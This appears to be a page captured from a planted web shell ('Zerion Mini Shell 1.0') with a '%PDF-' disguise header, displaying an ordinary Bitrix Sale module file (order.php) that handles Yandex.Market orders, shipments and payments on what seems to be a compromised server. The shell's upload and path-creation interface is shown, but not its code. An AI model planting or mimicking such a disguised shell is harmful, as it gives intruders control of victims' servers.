%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/home/bitrix/www/bitrix/modules/sale/lib/tradingplatform/ymarket/
Upload File :
Create Path :
Current File : //proc/self/root/home/bitrix/www/bitrix/modules/sale/lib/tradingplatform/ymarket/order.php

<?
namespace Bitrix\Sale\TradingPlatform\YMarket;

use Bitrix\Catalog;
use Bitrix\Main\ArgumentNullException;
use Bitrix\Main\Loader;
use Bitrix\Main\Localization\Loc;
use Bitrix\Sale\BasketItem;
use Bitrix\Sale\PaySystem;
use Bitrix\Sale\Result;
use Bitrix\Main\Error;

Loc::loadMessages(__FILE__);

class Order
{
	/**
	 * @param array $params
	 * @return Result
	 * @throws ArgumentNullException
	 * @throws \Bitrix\Main\NotSupportedException
	 * @throws \Bitrix\Main\ObjectNotFoundException
	 */
	public static function create(array $params)
	{
		if(empty($params['CURRENCY']))
			throw new ArgumentNullException('params[CURRENCY]');

		if(strlen($params['SITE_ID']) <= 0)
			throw new ArgumentNullException('params[SITE_ID]');

		if(intval($params['PERSON_TYPE_ID']) <= 0)
			throw new ArgumentNullException('params[PERSON_TYPE_ID]');

		if(empty($params['CART_ITEMS']))
			throw new ArgumentNullException('params[CART_ITEMS]');

		if(empty($params['IS_ACCEPT_OLD_PRICE']))
			$params['IS_ACCEPT_OLD_PRICE'] = \CSaleYMHandler::NOT_ACCEPT_OLD_PRICE;

		$result = new Result();
		$currencyList = \Bitrix\Currency\CurrencyManager::getCurrencyList();

		if($params['CURRENCY'] == 'RUR' && empty($currencyList['RUR']) && !empty($currencyList['RUB']))
			$currency = 'RUB';
		else
			$currency = $params['CURRENCY'];

		if(empty($currencyList[$currency]))
		{
			$result->addError(new Error(Loc::getMessage('SALE_YMARKET_ORDER_CURRENCY_NOT_SUPPORTED', array('#CURRENCY#' => $currency))));
			return $result;
		}

		$order = \Bitrix\Sale\Order::create($params['SITE_ID'], \CSaleUser::GetAnonymousUserID(), $currency);
		/** @var \Bitrix\Sale\Result $res */
		$res = $order->setPersonTypeId(intval($params['PERSON_TYPE_ID']));

		if (!$res->isSuccess())
			$result->addErrors($res->getErrors());

		if(!empty($params['PROPERTIES']))
		{
			$propCollection = $order->getPropertyCollection();
			$res = $propCollection->setValuesFromPost(array('PROPERTIES' => $params['PROPERTIES']), array());

			if (!$res->isSuccess())
				$result->addErrors($res->getErrors());
		}

		$fUserId = $order->getUserId() > 0 ? \Bitrix\Sale\Fuser::getIdByUserId($order->getUserId()) : null;
		$isStartField = $order->isStartField();
		$basket = \Bitrix\Sale\Basket::create($params['SITE_ID']);
		$res = $order->setBasket($basket);

		if (!$res->isSuccess())
			$result->addErrors($res->getErrors());

		$basket->setFUserId($fUserId);
		$discount = $order->getDiscount();

		//Hello from discounts
		//todo: sortByColumn($products, array("BASE_PRICE" => SORT_DESC, "PRICE" => SORT_DESC), '', null, true);

		Loader::includeModule('catalog');

		$itemsMap = array();

		foreach ($params['CART_ITEMS'] as $itemKey => $item)
		{
			$basketItemFields = array(
				'PRODUCT_ID' => $item['offerId'],
				'QUANTITY' => $item['count'],
				'PRODUCT_PROVIDER_CLASS' => '\Bitrix\Catalog\Product\CatalogProvider'
			);

			$context = array(
				'SITE_ID' => $params['SITE_ID'],
				'CURRENCY' => $params['CURRENCY'],
			);

			if ($order->getUserId() > 0)
			{
				$context['USER_ID'] = $order->getUserId();
			}

			$basketItem = null;

			$res = Catalog\Product\Basket::addProductToBasket($basket, $basketItemFields, $context);
			$resultData = $res->getData();

			if (!empty($resultData['BASKET_ITEM']))
			{
				/** @var \Bitrix\Sale\BasketItemBase $item */
				$basketItem = $resultData['BASKET_ITEM'];
			}

			if (!$res->isSuccess())
			{
				if ($basketItem)
				{
					$basketItem->setField("QUANTITY", 0);
				}
			}

			if ($basketItem)
			{
				$itemsMap[$basketItem->getBasketCode()] = $itemKey;
			}
		}

		/*
		 * 	todo: check if we still need this
			if($arProduct["CURRENCY"] != $currency && \Bitrix\Main\Loader::includeModule('currency'))
			{
					$price = \CCurrencyRates::convertCurrency(
						$arProduct["PRICE"],
						$arProduct["CURRENCY"],
						$currency
					);
			}
		 */

		$r = $basket->refreshData();
		if (!$r->isSuccess())
		{
			return $r;
		}

		/** @var BasketItem $basketItem */
		foreach($basket as $basketItem)
		{
			$basketCode = $basketItem->getBasketCode();
			$item = $params['CART_ITEMS'][$itemsMap[$basketCode]];

			$basketItem->setField("NAME", $item['offerName']);
//
//			if ($discount instanceof \Bitrix\Sale\Discount)
//				$discount->setBasketItemData($basketCode, $providerData[$basketCode]);
		}

		if($basket->count() == 0)
		{
			$result->addError(new Error(Loc::getMessage('SALE_YMARKET_ORDER_PRODUCTS_NOT_AVAILABLE')));
			return $result;
		}

		if ($isStartField)
		{
			$hasMeaningfulFields = $order->hasMeaningfulField();
			$res = $order->doFinalAction($hasMeaningfulFields);

			if (!$res->isSuccess())
				$result->addErrors($res->getErrors());
		}

		$result->setData(
			array(
				'ORDER' => $order,
				'ITEMS_MAP' => $itemsMap
			)
		);
		
		return $result;
	}

	public static function createShipment(\Bitrix\Sale\Order &$order, $deliveryId = 0, $deliveryPrice = false)
	{
		$shipments = $order->getShipmentCollection();

		/** @var \Bitrix\Sale\Shipment $shipment */
		if($shipments->count() > 0)
			foreach ($shipments as $shipment)
				if(!$shipment->isSystem())
					$shipment->delete();

		$shipment = $shipments->createItem();

		if(intval($deliveryId) > 0)
		{
			/** @var \Bitrix\Sale\Delivery\Services\Base $dlvSrv */
			if($dlvSrv = \Bitrix\Sale\Delivery\Services\Manager::getObjectById($deliveryId))
				$dlvName = $dlvSrv->getNameWithParent();
			else
				$dlvName = 'Not found ('.$deliveryId.')';

			$shipment->setField('DELIVERY_ID', $deliveryId);
			$shipment->setField('DELIVERY_NAME', $dlvName);
		}

		if($deliveryPrice !== false)
		{
			$shipment->setBasePriceDelivery(floatval($deliveryPrice), true);
		}

		$basket = $order->getBasket();

		if($basket)
		{
			$shipmentItemCollection = $shipment->getShipmentItemCollection();
			$basketItems = $basket->getBasketItems();

			/** @var BasketItem $basketItem */
			foreach ($basketItems as $basketItem)
			{
				/** @var \Bitrix\Sale\ShipmentItem  $shipmentItem */
				$shipmentItem = $shipmentItemCollection->createItem($basketItem);
				$shipmentItem->setQuantity($basketItem->getField('QUANTITY'));
			}
		}

		return $shipment;
	}
	public static function createPayment(\Bitrix\Sale\Order &$order, $paySystemId = 0)
	{
		$payments = $order->getPaymentCollection();

		/** @var \Bitrix\Sale\Payment $payment */
		if($payments->count() > 0)
		{
			foreach ($payments as $payment)
			{
				if($payment->isPaid())
					$payment->setPaid("N");

				$payment->delete();
			}
		}

		$payment = $payments->createItem();

		if(intval($paySystemId) > 0)
		{
			$psName = 'Not found ('.$paySystemId.')';

			if($ps = PaySystem\Manager::getById($paySystemId))
				$psName = $ps['NAME'];

			$payment->setField('PAY_SYSTEM_ID', $paySystemId);
			$payment->setField('PAY_SYSTEM_NAME', $psName);
		}

		$payment->setField("SUM", $order->getPrice());

		return $payment;
	}
}

Zerion Mini Shell 1.0